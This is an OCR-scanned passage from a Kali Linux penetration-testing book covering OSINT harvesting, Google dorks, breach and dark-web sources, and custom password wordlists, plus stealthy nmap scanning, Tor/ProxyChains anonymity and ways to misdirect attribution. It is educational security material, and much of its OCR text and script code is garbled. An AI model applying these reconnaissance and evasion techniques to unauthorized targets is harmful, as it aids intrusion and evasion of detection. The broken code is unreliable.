hacked database's details were posted in sampledatadumpwebsite.com, and that website
or the link is taken off the internet. If the page is accessed by Google, this information
serves the attackers a lot of information such as usernames, password hashes, what type of
backend was being utilized, and other relevant technological and policy information. The
following link is the first level of harvesting past data: https://web.archive.org/web/.

Here is a screenshot of cyberhia.comin the WayBack Machine as of 24 March, 2017:

< C | & Secure | https://web.archive.org/web/20170324155340/http://cyberhia.com:&0 b4 &=
INTERNET AREHIVE |ht'tp:-ﬁ-’c‘-,-berhia com:B0/ | (1L MAR
24 Mar 2017 - 7 Mar 2018 2017
* home
+ about us
* services
* products
.

contact us

.
‘We are a Cyber Security Consulting firm to help and assist you with Security, Privacy and Business continuity strategy.
We specialise in Cyber Securitv Consulting and We aim to solve complex cyber problems with simple and cost effective solutions!

India

» +91-9066362199
+ info@cyberhia com

We will be discussing more about the hidden face of Google in the coming section, Google
Hacking Database.
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Scraping

A technique that attackers utilize to extract large number of datasets from websites,
whereby the extracted data is stored locally in a filesystem, is called scraping or web
scraping. In the following section, we will utilize some of the most used tools in Kali Linux
to perform scraping.

Gathering usernames and email addresses

The theHarvester tool is a Python script that searches through popular search engines and
other sites for email addresses, hosts, and sub-domains.

Using theHarvester is relatively simple, as there are only a few command switches to set.
The options available are as follows:

e —d: This identifies the domain to be searched; usually the domain or
target's website.

e —Db: This identifies the source for extracting the data; it must be one of
the following: Bing, BingAPI, Google, Google-Profiles, Jigsaw, LinkedIn,
Peoplel23, PGP, or A11.

e —1: This limiting option instructs theHarvester to only harvest data from a
specified number of returned search results.

e —f: This option is used to save the final results to an HTML and an XML file. If
this option is omitted, the results will be displayed on the screen, and not saved.
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The following screenshot provides the sample data extract from theHarvester for the
packtpub.com domain:

Places + [] Terminal +
root@kali: ~
File Edit View Search Terminal Help

Warning: Pycurl is not compiled against Openss
when fuzzing S5L sites. Check Wfuzz's documentation for more information.

b A e e e o o o o o e o o o o ok e o o e e o e e o o e o e e o o e o o o ol e et o o o o o o o o o e o o e ok b e o b ek ek

Harvesting results

[+] Emails found:

customercare@packtpub.com
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Obtaining user information

Many penetration testers gather usernames and email addresses, as this information is
frequently used to log on to targeted systems.

The most commonly employed tool is the web browser, which is used to manually search
the target organization's website as well as third-party sites such as LinkedIn or other social
networking websites.

Some automated tools included with Kali can supplement the manual searches.

Email addresses of former employees can still be of use. When conducting
social engineering attacks, directing information requests to a former
employee usually results in a redirect that gives the attacker the credibility
of having dealt with the previous employee. In addition, many
organizations do not properly terminate employee accounts, and it is
possible that these credentials may still give access to the target system.

Shodan and censys.io

Where can you find an ocean of vulnerable hosts? Often, attackers utilize existing
vulnerabilities to gain access to the system without much effort, so one of the easiest ways
to do so is to search in Shodan. Shodan is one of the most important search engines, as it
lets anyone on the internet find devices connected to the internet using a variety of filters. It
can be accessed by visiting https://www.shodan.io/. This is one of the most

popular websites consulted for information around the globe. If the name of a company is
searched for, it will provide any relevant information that it has in its database, such as IP
addresses, port numbers, and the service that was running.
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The following sample screenshot from shodan. io shows hosts that are running 11S 5.0,

which enables attackers to go ahead and narrow down the target and move laterally, which
we will be learning about in the coming chapters:

<« C | & Secure https://www.shodan.io/search?query=I15+5.0

.’- SHODAN Q Explore Developer Pricing Enterprise Access
#% Exploits ¥, Maps
En construccign &'
1 1 205 HTTP/1.7 200
! R Cable Server: M
= spsin
nt-Type: 1
; ookie: ASPSESSIONIDQCABTACE=0GLMKKKDKLEBHGKDLOECDIJIF; path=/
#
3 \ Cache-control: private
United States 14,940 - ) o
Korea, Republic of 4,518 Equine Indemnity E
China 4193 & S5 Certificate HTTP/1.1 200 0K
Canada 3.203 Cogent Communications Issued By: rol: private
Japan 1802 - Commeon Nsme: Go Daddy Secure ml; charset=utf-§
25 United Kingdom, Grest Yammouth Certificate Authority - G2
- Orgenizstion:  GeDaddy.com, Inc.
Issued To
HTTR 32,375
HTTRS 5,718 -I'CT" .F \3"% 5:53:45 GMT
* equineindemnity.com
HTTP (8080) 1,217 Content-Length:
HTTP (81) 443 Supported SSL Versions
8081 259 SSLvz, S5Lv3, TLSV1

Shodan results for IIS 5.0

Similar to Shodan, attackers now can also utilize the scans.io API for relevant information
gathering, or censys.io, which can provide more information about IPv4 hosts, websites,
certifications, and other stored information. The following screenshot provides information
about packtpub.com:
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Quick Filters

For all fields, see Data Definitions

Autonomous System:

32 AMAZON-0Z -
Amazon.com, Inc., US
13 NODE4-AS, GB
CLOUDFLAREMNET -
Cloudflare, Inc., US
HTIL-TTML-IN-AP Tata
Teleservices
Maharashtra Ltd, IN
BBIL-AP BHARTI Airtel
Ltd., IN
B More

L]

L8]

-

Pratocol:

49 443/https

&« C | & Secure | https://censys.io/ipv4?q=packtpub.com b4 [ -]

iI= Results @ Map i

IPv4 Hosts
Page 1/3 Results' 53 Time 131ms

0 52.212.158.180 (ec2-52-212-158-180.eu-west-1.compute.amazonaws.com)
Amazon.com, Inc. (16509) Dublin, Leinster, Ireland
443/https
* packtpub.com, packtpub.com
443 https.ils.certificate. parsed.extensions.subject_alt_name.dns_names: packtpub.com

L1 52.50.232.179 (ec2-52-50-232-179.eu-west-1.compute.amazonaws.com)
Amazon.com, Inc. (16509) Wilmington, Delaware, United States
443/https
= packtpub.com, packipub.com
443.https.tls.certificate. parsed.extensions.subject_alt_name.dns_names: packtpub.com

0 34.248.175.192 (ec2-34-248-175-192.eu-west-1.compute.amazonaws.com)

Amazon.com, Inc. (16509) Houston, Texas, United States
443/https, 80/http

45 80/http
8 22/ssh * packtpub.com, packipub.com
3 25/smip 443.https.ils.certificate parsed.extensions.subject_alt_name.dns_names: packtpub.com

Google Hacking Database

Lately, Google is the way in which people keep themselves updated; “Google it” are the
common words used to refer to searching for anything that is unknown, or to gather
relevant information on the topic in question. In this section, we will narrow down how
penetration testers can utilize Google through dorks.

What is a dork ?

Dork is used for a person who is socially inept or socially awkward, or
someone who doesn’t care about anything in practice.
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Using dork scripts to query Google

The first step to understanding Google Hacking Database is that the testers must
understand all the advanced Google operators, just like how machine-level programming
engineers must understand computer OP codes. These Google operators are part of the
Google query process, and the syntax of searching is as follows:

operator:itemthatyouwanttosearch

There is no space between operator, the colon (:), and itemthatyouwanttosearch. The
following table lists all the advanced Google operators:

Mixes with Can be
Operator Description other used
operators? alone?
intitle Page title keyword search Yes Yes
allintitle All keywords search at a time in the title  |No Yes
inurl Search the keyword in the URL Yes Yes
site Filter Google search results only to the site |[Yes Yes
ext or filetype|Search for particular extension or file type |Yes No
allintext Keyword search for all number of No Yes
occurrences
link External link search on a page No Yes
inanchor Search anchor link on a web page Yes Yes
numrange Limit search on the range Yes Yes
daterange Limit search on the date Yes Yes
author Finding group author Yes Yes
group Searching group names Yes Yes
related Search related keywords Yes Yes

The following screenshot provides a simple Google dork to search for the username in a log

file.
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The dork search is inurl:"/jira/login.jsp" intitle:"JIRA login":

< C | & Secure | https;//www.google.com/search?ei=YgtLWSbuHgqOgAasmo-4Ag&iq=inurl%3A"%2Fjira%2Floginjsp”+intitle%3A JIR... ¥ m & F [ ]
——r inurl:"fjiraflogin jsp” intitle:"JIRA login” L Q
All Images Videos News Shopping Vore Settings

About 20 results (0.33 seconds)

PeopleScout Jira - Login - Springboard

S g e Jiraflogin jsp =
Username. Password. Remember my login on this computer. Forgot Password. Not a member? Contact
an Administrator to request an account.

JIRA - Leain

Username. Password. Remember my login on this computer. Forgot Password. Not a member? Signup
for an account. Powered by Atlassian JIRA (Professional .

JIRA - Login

. _iraflogin jsp?os_destination.. jspa v
Username. Password. Remember my login on this computer. Forgot Password. Not a member? Signup
for an account. Powered by Atlassian JIRA™ the ...

JIRA - Login - Etilize

- -gm e m - .. Fallogin jsp?0s_destination=%2FShowConstantsHelp... =

Username. Password. Remember my login on this computer. Forgot Password. Not a member? Signup
for an account. Powered by Atlassian JIRA (Professional

For more specific operators, we can refer to the guide from Google at http://www.
googleguide.com/advanced_operators_reference.html, and we can utilize the GOOgle
hacking database from exploit-db, which is constantly updated by the security research
community, available at https://www.exploit-db.com/google-hacking-database/.

Data dump sites

In today's world, any information can be shared online quickly and more effectively with
the birth of "the on-spot apps" such as pastebin.com. However, this turns out to be one of the
major drawbacks when developers store the source code, crypto keys, and other
confidential information of the app, and leave it unattended; this online information serves
attackers a list of abundant information to formulate more focused attacks.
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The archive forums also reveal the logs of a particular website or the past hacking incidents,
if it was previously hacked. Pastebin offers this information. The following screenshot
provides the list of confidential information about a target:

< C | & Secure | https://pastebin.com/search?q=testfire.net o m B

€ PASTEBIN [FHREEEE 1  wox g

Often on Pastebin? Try the Pastebin Google Chrome Extension

A
® (0200 —
\30Y + ADDTO CHROME
Search results for: testfire.net
About 18 results (0.12 seconds) Sort by:  Relevance ~

testfire.net Private Leak - Pastebin.com
https://pastebin.com/6rqvkgks

Jun 21, 2014 ... DATA Leak From 3) --—-> testfire.net To get the data use one of the links below :) http://www30.zippyshare.com/v/11037403file.html ...

Practice CTF List / Permanant CTF List - Pastebin.com
https://pastebin.com/8RYLCsIT
Feb 6, 2018 ... http://demo.testfire.net/. http://wocares.com/xsstester.php. http://crackme.cenzic. com/. http://test.acunetix.com/,

http://zero.webappsecurity.comy.

Using scripts to automatically gather OSINT data

In the field of information security research, it is always about the time that we can save
when gathering information that can yield more focus on vulnerability research and
exploitation. In this section, we will focus more on how to automate OSINT to make
passive reconnaissance more effective:

#!/bin/bash

echo "Enter target domain: " read domain if [[ $domain != "" ]7];
then

echo "Target domain set to $domain"

echo AR S S S S S S S SR SRS R EEE SRR SRS EEEE SRR EE SR EEE S S S S SNl

echo "The Harvestor" theharvester -d $domain -1 500 -b all -f
harvester_S$domain echo "done!"

echo UB S S S S S E SRS E R EEE SRR EE SRR EE SRR EE SRR S S S S S SNl

echo "Whois Details" whois $domain >> whois_S$domain

echo "done!"

echo UB S S S S S E SRS E R EEE SRR EE SRR EE SRR EE SRR S S S S S SNl

echo "Searching for txt files on $domain using Goofile..." goofile -d
Sdomain —-f txt >> goofile_txt_S$domain

echo "done!"
echo AR S S S S S S SRS RS SR RS SRR EE SRR EE SRR RS SR RS S SRS SNl
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echo "Searching for pdf files on $domain using Goofile..." goofile -d
Sdomain —-f pdf >> goofile_pdf_S$domain

echo "done!"

echo Mk kA AR A A AAAAAAAAAAAAA A A A A A A A A A A A A A A A A A A A A A AAN

echo "Searching for pdf files on $domain using Goofile..." goofile -d
Sdomain —-f doc >> goofile_doc_S$domain

echo "done!"
eChO Mk dkhkhkkhhkhhkrkhkhhkkhhkhkhkrkhkhhkhhkhhkrkhkhhkhkhkdhkhkhk ok hkrhkrkkhkxx0l

echo "Searching for pdf files on $domain using Goofile..." goofile -d
Sdomain -f xls >> goofile_xls_S$domain

echo "done!" else echo "Error! Please enter a domain... "

fi

The previous script can be further used with a looping one-line script to run on multiple
domains, by using the following line as and when required:

while read r; do scriptname.sh $r; done < listofdomains

The preceding automation is a very simple script to make use of some of the command-line
tools in Kali, and store the output in multiple files without a database. However, attackers
can make use of similar scripts to automate the majority of the command-line tools to
harvest most of the information.

Defensive OSINT

Defensive OSINT is typically used to see what is already on internet including breached
information and see whether that information is valuable during the penetration testing
activity. If the goal of penetration testing is to demonstrate the real-world scenario where
this data can be handy, the first step is to identify a similar target that has already been
breached. The majority of organizations fix only the affected platform or the host, and often
they forget about other similar environments. The defensive OSINT is largely divided into
three places of search.

Dark web

The dark web is the encrypted network that exists between Tor servers and their clients,
whereas the deep web is simply the content of databases and other web services that for
one reason or another cannot be indexed by conventional search engines such as Google.
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Let's take an example of expired drugs or banned drugs that can be sold on the dark web,
where users can purchase them for multiple reasons. We will explore how to identify
information on the dark web using the Tor browser. Some websites such

as deepdotweb.com provide a market list of hidden deep web links. These links can only be
accessed through the Tor browser. The following screenshot provides an example of drugs
that are being sold on the Dream Market:

St 0' €& | () vzatggjjlebaxluc.onion/?category=104 c Q_ search
Dream Market m Messages: 0 equplanes n
Ichudifyeqm 4ldjj.onion
Established 2013 Bitcoin (BTC) 0
0 .\._.I Logout

Browse by category  Drugs (62622)

» Drugs 62622 Filter

Barbiturates 36 Ships to Ships from Escrow Category Cryptocurrency

Benzos 2515 | | | Drugs | |

Cannabis 18735 Price Searchtext Sortby  Vendor Apply fitter

Dissociatives 25271 - | All

Ecstasy 107167

Opioids 3940

Prescription 2804 1 2 3 4 5 6 7 8 9 10 M1 12 13 14 15 16 17

Psychedelics 6185 —
syehedeles 18 19 20 ..1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 ()

RCs 451 \—/

Steroids 2320 -

Stimulants 10922 EISALEEN0 x 200ug Warrior LSD blotters 100mg MDMA Gelcaps x10

Weight loss 148 0.00574 . 180.01539

thepostmanpat (1800} (4.93%) Jjoyneme89 (4500) (4.97w)
NL — WW US —+ US, CA
Digital Goods 53497
Drugs 62622
Drugs Paraphernalia
371
Services 5579 3.5g HONEY SUCKLE *New stock*Amazing
Other 4857 Quality 10/10 LSD 100ug Tabs x 500 (CA PRINT)
180.00585 0.139
fly-high (3750) (4.93%) Dr_Seuss_CA (450) (4.97+)
8 Exchange » _.,4‘ ™ GB  GB, EU CA —+ CA, US

Security breaches

A security breach is any incident that results in unauthorized access of data, applications,
services, networks, and/or devices by bypassing their underlying security mechanisms.

Hackers are known to visit https://databases.today and https://haveibeenpwned. com.
These websites have an archive of breached data. The following screenshot provides the
view of the databases.today website:
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& C | @ Secure | https;//databases.today x4 By

Snusbase is the gold standard of database lookups. Check it out!

SEARCH NO-JS SEARCH CONTACT DIRECTORY SNUSBASE FILE HOSTING

The biggest free-to-download collection of publicly available
website databases for security researchers and journalists.

Search by database name (eg. 'example sql' or simply ‘exam’)

To harvest more information about the target, pentesters would typically look into websites
such as zone-h.com to provide information about breaches to it. For example, defacement of
sidehustlewarrior.com was performed by an underground group named Bangladesh
Grey Hat Hackers. The following screenshot provides details on the IP address, web server,
and operating system used during the defacement:

& C | @ zone-h.com/mirror/id/31

Home News FEvents Archive Archive® Onhold Notify Stats Register Login &

Mirror saved on: 2018-07-15 03:41:15

Notified by: BD GREY HAT HACKERS Domain: http://sidehustlewarrion.com/dead. html| 1P address: 192.154.103.138 ==
System: Linux Web server: LitzSpesd MNotifier stats
This is a CACHE (mirror) page of the site when it was saved by our robot on 2018-07-15 09:41:15
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Threat intelligence

Threat intelligence is controlled, calculated, and refined information about potential or
current attacks that threaten an organization. The primary purpose of this kind of
intelligence is to ensure organizations are aware of the current risks, such as Advanced
Persistent Threats (APTs), zero-day exploits, and other severe external threats. For
example, if credit card information was stolen from Company A through APTs, Company B
could be alerted to this threat intelligence and adjust their security accordingly.

But, it is most likely that organizations will take a very long time to make a decision due to
lack of trusted sources, and also the spending involved due to the nature and probability of
the threats. In the preceding example, Company B, may have 2,000 stores to replace, or
have to halt all transactions.

This information can be potentially utilized by attackers to exploit the network. However,
this information is considered part of the passive reconnaissance activity, since there is no
direct attack launched on the target yet.

Penetration testers or attackers will always subscribe to these kinds of open source threat
intelligence frameworks, such as STIX and TAXII, or utilize, GOSINT framework for
indicators of compromise (IOCs)

Profiling users for password lists

So far, you have learned how to use passive reconnaissance to collect names and
biographical information for users of the target being tested; this is the same process used
by hackers. The next step is to use this information to create password lists specific to the
users and the target.

Lists of commonly used passwords are available for download, and are stored locally on
Kali in the /usr/share/wordlists directory. These lists reflect the choices of a large
population of users, and it can be time consuming for an application to attempt to use each
possible password before moving on to the next password in the queue.

Fortunately, Common User Password Profiler (CUPP) allows the tester to generate a
wordlist that is specific to a particular user. CUPP was present on Backtrack 5r3; however,
it will have to be downloaded for use on Kali. To obtain CUPP, enter the following
command:

git clone https://github.com/Mebus/cupp.git
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This will download CUPP to the local directory.

CUPP is a Python script, and can be simply invoked from the CUPP directory by entering
the following command:

root@kali:~# python cupp.py -i

This will launch CUPP in interactive mode, which prompts the user for specific elements of
information to use in creating wordlists. An example is shown in the following screenshot:

Applications P L7 D B |H Kali-Linux-2018.1-vm-amd64 €

root@kali: ~/cupp/cupp
File Edit View Search Terminal Help
upp/cupp# python cupp.py -i

[+] Insert the informations about the victim to make a dictionary
[+] If you don't kn all the info, just hit enter when aske H,

johnny
> Birthdate (DDMMYYYY): 07051987

me: lourine

te (DDMMYYYY): 83651990

MMYYYY): 04052012

> Do you want to add e r IN]: Y

> Please enter the ra y C . . acker,juice,black], spaces will be removed: juice
> Do you want to add cial ¢ e e 0 [N]: ¥

> Do you w add jom numb

> 37) Y/[N]:

upp/cupp#

When the interactive mode has completed creating a wordlist, it is placed in the cupp
directory.

Creating custom wordlists for cracking
passwords

There are multiple tools that are readily available in Kali Linux to create custom a wordlist
for cracking passwords offline. We will now take a look at a couple of them.

[72]



Open Source Intelligence and Passive Reconnaissance Chapter 2

Using CeWL to map a website

CeWL is a Ruby app that spiders a given URL to a specified depth, optionally following
external links, and returns a list of words that can then be used for password crackers such

as John the Ripper.

The following screenshot provides the custom list of words generated from the
cyberhia.comindex page:

root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# cewl www.cyberhia.com -w cyberhia.com

CeWL 5.4.3 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
:~# cat cyberhia.com

Extracting words from Twitter using twofi

While we can profile a user utilizing social media platforms such as Facebook, Twitter,
LinkedIn, and so on, we can also use twofi, which stands for Twitter words of
interest. This tool is written in Ruby script and utilizes the Twitter API to generate a
custom list of words that can be utilized for offline password cracking.

In order to use twofi, we must have a valid Twitter API key and API secret. The following
screenshot shows how to utilize twofi during passive reconnaissance to form our custom
password wordlist; in the following example, we run twofi -m 6 -u @PacktPub >
filename, which generates a list of custom words that were posted by the

@PacktPub Twitter handle. twofi will be more powerful during an individual targeted

attack:
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root@kali: ~ e ® O
File Edit View Search Terminal Help

:~# twofi -m 6 -u @packtPub > packt.txt
:~# cat packt.txt

FreeLearning

downloaded

relevant

scientist
pentester

tutorial
Access
VVLswuidUw

Summary

The first baby step in the attack process or kill chain is to conduct information harvesting,
or reconnaissance, to identify the right information on the target with the use of OSINT.
Passive reconnaissance provides a real-time view of an attacker's eye on a company. This is
a stealthy assessment; the IP address or activities of an attacker are almost indistinguishable
from normal business as usual. The same information is extremely fruitful during social
engineering types of attacks, or facilitating other attacks. We have now built our own
custom script to save time, and performed passive reconnaissance using both offensive and
defensive OSINT.

In the next chapter, we will be learning the different types of reconnaissance in an active
sense, and make use of the data that we harvested using OSINT. Although active
reconnaissance techniques will provide more information, there is always an increase in the
risk of detection. Therefore, the emphasis will be on advanced stealth techniques.
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Active Reconnaissance of
External and Internal Networks

The main goal of the active reconnaissance phase is to collect and weaponize information
about the target as much as possible in order to facilitate the exploitation phase of the kill
chain methodology.

We have seen in the last chapter how to perform passive reconnaissance using OSINT,
which is almost undetectable and can yield a significant amount of information about the
target organization and its users.

Active reconnaissance builds on the results of OSINT and passive reconnaissance and
emphasizes more focused probes to identify the path to the target and the exposed attack
surface of the target. In general, complex systems have a greater attack surface, and each
surface may be exploited and then leveraged to support additional attacks.
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Although active reconnaissance produces more useful information, interactions with the
target system may be logged, triggering alarms by protective devices, such as firewalls,
Intrusion Detection Systems (IDS), and Intrusion Prevention Systems (IPS). As the
usefulness of the data to the attacker increases, so does the risk of detection; this is shown in
the following diagram:

Usefulness of data to
attackers

.Vulnerahilitv
.Dperating

Scanning
System and
.Internal Host Application

and Service Patch Level
di Detection
iscovery
.External

Infrastructure

Host

Detection and
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Interaction with target

Chance of detection _

To improve the effectiveness of active reconnaissance in providing detailed information,
our focus will be on using stealthy, or difficult to detect, techniques.

In this chapter, you will learn about the following:

e Stealth scanning strategies

External and internal infrastructure, host discovery, and enumeration

Comprehensive reconnaissance of applications, especially recon-ng

Enumeration of internal hosts using DHCP

Useful Microsoft Windows commands during penetration testing

Taking advantage of default configurations
¢ Enumeration of users using SNMP, SMB, and rpcclient
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Stealth scanning strategies

The greatest risk of active reconnaissance is the discovery by the target. Using the tester's
time and data stamps, the source IP address, and additional information, the target can
identify the source of the incoming reconnaissance. Therefore, stealth techniques are
employed to minimize the chances of detection.

When employing stealth to support reconnaissance, a tester mimicking the actions of a
hacker will do the following;:

e Camouflage tool signatures to avoid detection and triggering an alarm
e Hide the attack within legitimate traffic

e Modify the attack to hide the source and type of traffic

e Make the attack invisible using nonstandard traffic types or encryption

Stealth scanning techniques can include some or all of the following:

¢ Adjusting source IP stack and tool identification settings
e Modifying packet parameters (nmap)
¢ Using proxies with anonymity networks (ProxyChains and the Tor network)

Adjusting source IP stack and tool identification
settings

Before the penetration tester (or the attacker) begins testing, we must ensure that all
unnecessary services on Kali are disabled or turned off.

For example, if the local DHCP daemon is enabled and is not required, it is possible for the
DHCP to interact with the target system, which could be logged and send alarms to the
target's administrators.

Some commercial and open source tools (for example, the Metasploit framework) tag their
packets with an identifying sequence. Although this can be useful in post-test analysis of a
system's event logs (where events initiated by a particular testing tool can be directly
compared to a system's event logs to determine how the network detected and responded
to the attack), it can also trigger certain intrusion detection systems. Test your tools against
a lab system to determine the packets that are tagged, and either change the tag or use the
tool with caution.
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The easiest way to identify tagging is to apply the tool against a newly-created virtual
image as the target and review system logs for the tool's name. In addition, use Wireshark
to capture traffic between the attacker and target virtual machines, and then search the
packet capture (pcap) files for any keywords that can be attributed to the testing tool (name
of the tool, vendor, license number, and so on).

useragent in the Metasploit framework can be changed by modifying

the http_form_field option. From the msfconsole prompt, select the option to use
auxiliary/fuzzers/http/http_form_field and then set a new useragent header, as
shown in the following screenshot:

msf > use auxiliary/fuzzers/http/http form field
msf auxiliary(fuzzers/http/http form field) > set useragent
useragent => Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

msf auxiliary(fuzzers/http/http form field) > set useragent Googlebot-Image/1.0
useragent => Googlebot-Image/1.0

In this example, useragent was set to be Google's indexing spider, Googlebot-Image.
This is a common automated application that visits and indexes websites and rarely attracts
attention from the website's owner.

To identify legitimate useragent headers, refer to the examples
at: http://www.useragentstring.com/.

Modifying packet parameters

The most common approach to active reconnaissance is to conduct a scan against the target,
send defined packets to the target, and then use the returned packets to gain information.
The most popular tool of this type is Network Mapper (nmap).

To use nmap effectively, it must be run with root-level privileges. This is typical of
applications that manipulate packets, which is why Kali defaults to root at the time of
startup.
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When attempting to minimize detection, some stealth techniques to avoid detection and
subsequent alarms include the following:

e Attackers approach the target with a goal in mind and send the minimum
number of packets needed to determine the objective. For example, if you wish to
confirm the presence of a web host, you first need to determine whether port 80,
the default port for web-based services, is open.

¢ Avoid scans that may connect with the target system and leak data. Do not ping
the target or use synchronize (SYN) and non-conventional packet scans, such as
acknowledge (ACK), finished (FIN), and reset (RST) packets.

¢ Randomize or spoof packet settings, such as the source IP and port address, and
the MAC address.

e Adjust the timing to slow the arrival of packets at the target site.

¢ Change the packet size by fragmenting packets or appending random data to
confuse packet inspection devices.

For example, if you want to conduct a stealthy scan and minimize detection, the following
nmap command could be used:

# nmap —--spoof-mac Cisco —--data-length 24 -T paranoid —--max-hostgroup 1 -—-
max-parallelism 10 -Pn -f -D 10.1.20.5,RND:5,ME -v -n -sS -sV -oA
/desktop/pentest/nmap/out -p T:1-1024 --randomize-hosts 10.1.1.10 10.1.1.15

The following table explains the previous command in detail:

Command Rationale

This spoofs the MAC address to match a Cisco product.

—-spoof-mac-Cisco Replacing Cisco with 0 will create a completely random
MAC address.

——data-length 24 This appends 24 random bytes to most packets that are
sent.

-T paranoid This sets the time to the slowest setting: paranoid.

-—-max-hostgroup Limits the hosts that are scanned at a time.

Limits the number of outstanding probes that are sent
out. You can also use the ~—scan-delay option to set a
pause between the probes; however, this option is not
compatible with the -~—max_parallelism option.

—--max-parallelism

This doesn't ping to identify active systems (this can leak
data).
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Command Rationale

This fragments the packets; this will frequently fool low-
end and improperly configured IDs.

-f

This creates decoy scans to run simultaneously with the

-D 10.1.20.5, RND:5,ME , A
attacker's scans; this hides the actual attack.

No DNS resolution: internal or external DNS servers are
not actively queried by nmap for DNS information. Such
queries are frequently logged, so the query function
should be disabled.

This conducts a stealth TCP SYN scan, which does not
complete the TCP handshake. Other scan types (for
example, null scans) can also be used; however, most of
these will trigger detection devices.

-sS

-sV This enables version detection.

—oA /desktop/pentest/nmap This outputs the results to all formats (normal, greppable,

and XML).
-p T:1-1024 This specifies the TCP ports to be scanned.
—-random-hosts This randomizes the target host order.

Together, these options will create a very slow scan that hides the true identity of the
source. However, if the packets are too unusual, complex modification may actually attract
the attention of the target; therefore, many testers and attackers use anonymity networks to
minimize detection.

Using proxies with anonymity networks

In this section, we will be exploring the two important tools that are utilized by the
attackers to maintain anonymity on the network. We will be focusing on Tor and Privoxy in
this section.

Tor (www.torproject.org) is an open source implementation of the third-generation onion
routing that provides free access to an anonymous proxy network. Onion routing enables
online anonymity by encrypting user traffic and then transmitting it through a series of
onion routers. At each router, a layer of encryption is removed to obtain routing
information, and the message is then transmitted to the next node. It has been likened to the
process of gradually peeling an onion, hence the name. It protects against traffic analysis
attacks by guarding the source and destination of a user's IP traffic.
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In this example, Tor will be used with Privoxy, a noncaching web proxy that sits in the
middle of an application that communicates with the internet and uses advanced filtering
to ensure privacy and remove ads and potentially hostile data being sent to the tester.

To install Tor, perform the following steps:

1. Issue the apt-get update and apt-get upgrade commands, and then use the
following command:

apt-get install tor

2. Once Tor is installed, edit the proxychains.conf file located in the /etc
directory. This file dictates the number and order of proxies that the test system
will use on the way to the Tor network. Proxy servers may be down, or they may
be experiencing a heavy load (causing slow or latent connections); if this occurs,
a defined or strict ProxyChain will fail because an expected link is missing.
Therefore, disable the use of strict_chain and enable dynamic_chain, which
ensures that the connection will be routed, as shown in the following screenshot:

[ roctaal ~ [

GNU nano 2.9.5 /eto/proxychains . cont

w
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3. Edit the [ProxyList] section to ensure that the socks5 proxy is present, as
shown in the following screenshot:

[ProxyList]
# add proxy here ...
# meanwile

# defaults set to "tor"
socksd 127.0.0.1 9050

socks5 127.0.0.1 9050
| |

Open proxies can be easily found online (an example would be https://www.
proxynova.com/proxy-server—1list/) and added to the proxychains. conf file.
Testers can take advantage of this to further obfuscate their identity. For example,
if there are reports that a certain country or block of IP addresses has been
responsible for recent online attacks, look for open proxies from that location and
add them to your list or a separate configuration file.

4. To start the Tor service from a Terminal window, enter the following command:
# service tor start

5. Verify that Tor has started by using the following command:
# service tor status

It is important to verify that the Tor network is working and providing
anonymous connectivity.

6. Verify your source IP address first. From a Terminal, enter the following
command:

# firefox www.whatismyip.com

This will start the Iceweasel browser and open it to a site that provides the source
IP address connected with that web page.

7. Note the IP address, and then invoke Tor routing using the following
ProxyChains command:

# proxychains firefox www.whatismyip.com
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In this particular instance, the IP address was identified as xx . xx.xx.xx. A whois lookup
of that IP address from a Terminal window indicates that the transmission is now exiting
from a Tor exit node, as shown in the following screenshot:

NetRange: ot .23

CIDR: ] 16/29

OriginAS:

NetName : TOR-MIAGL

MetHandle: NET-96-47-226-16-1

Parent: NET-96-47-224-6-1

NetType: Reallocated

Commant : == == == ==
Comment : This is a Tor Exit Mode operated on behalf of the Tor
Comment : Project. Tor helps you defend against network

Comment : surveillance that threatens personal freedom and
Comment : privacy. You can learn more now at www.torproject.org
Comment : == == == == ==

You can also verify that Tor is functioning properly by
accessing: https://check.torproject.org.

Although communications are now protected using the Tor network, it is possible for a
DNS leak to occur, which occurs when your system makes a DNS request to provide your
identity to an ISP. You can check for DNS leaks at: www.dnsleaktest.com.

Most command lines can be run from the console using proxychains to access the Tor
network.

When using Tor, some considerations to be kept in mind are as follows:

¢ Tor provides an anonymizing service, but it does not guarantee privacy. Owners
of the exit nodes are able to sniff traffic and may be able to access user
credentials.

¢ Vulnerabilities in the Tor browser bundle have reportedly been used by law
enforcement to exploit systems and gain user information.

¢ ProxyChains do not handle UDP (User Datagram Protocol) traffic.

¢ Some applications and services cannot run over this environment—in particular,
Metasploit and nmap may break. The stealth SYN scan of nmap breaks out of
ProxyChains and the connect scan is invoked instead; this can leak information
to the target.
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¢ Some browser applications (ActiveX, Adobe's PDF applications, Flash, Java,
RealPlay, and QuickTime) can be used to obtain your IP address.

e Attackers can also use random chaining. With this option, ProxyChains will
randomly choose IP addresses from the our list (local Ethernet IP, for example,
127.0.0.1,192.168.x.x0r 172.16.x.x) and use them for creating our
ProxyChain. This means that each time we use ProxyChains, the chain of proxies
will look different to the target, making it harder to track our traffic from its
source.

¢ To do so, in a similar fashion, edit the /etc/proxychains.conf file and
comment out dynamic chains and uncomment random_chain, since we can
only use one of these options at a time.

¢ In addition, attackers can uncomment the line with chain_len, which will then

determine the number of IP address in the chain while creating a random proxy
chain.

This technique can be engaged by attackers to establish a qualified anonymity and then
remain anonymous over the network.

The Tor-Buddy script allows you to control how frequently the Tor IP
address is refreshed, automatically making it more difficult to identify the
user's information. To access Tor-Buddy, you can visit
http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy/.

DNS reconnaissance and route mapping

Once a tester has identified the targets that have an online presence and contain items of
interest, the next step is to identify the IP addresses and routes to the target.

DNS reconnaissance is concerned with identifying who owns a particular domain or series
of IP addresses (the sort of information gained with whois although this has been
completely changed with the General Data Protection Regulation (GDPR) enforcement
across Europe from May 2018), the DNS information defining the actual domain names and
IP addresses assigned to the target and the route between the penetration tester or the
attacker and the final target.
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This information gathering is semi-active—some of the information is available from freely
available open sources such as DNSstuff. com, while other information is available from
third parties such as DNS registrars. Although the registrar may collect IP addresses and
data concerning requests made by the attacker, it is rarely provided to the end target. The
information that could be directly monitored by the target, such as DNS server logs, is
almost never reviewed or retained.

Because the information needed can be queried using a defined systematic and methodical
approach, its collection can be automated.

Note that DNS information may contain stale or incorrect entries. To
minimize inaccurate information, query different source servers and use
different tools to cross-validate results. Review results and manually
verify any suspect findings.

The whois command (Post GDPR)

The whois command used to be the first step in identifying an IP address for many years
until GDPR was enforced. Formerly, the whois command was used to to query databases
that store information on the registered users of an internet resource, such as a domain
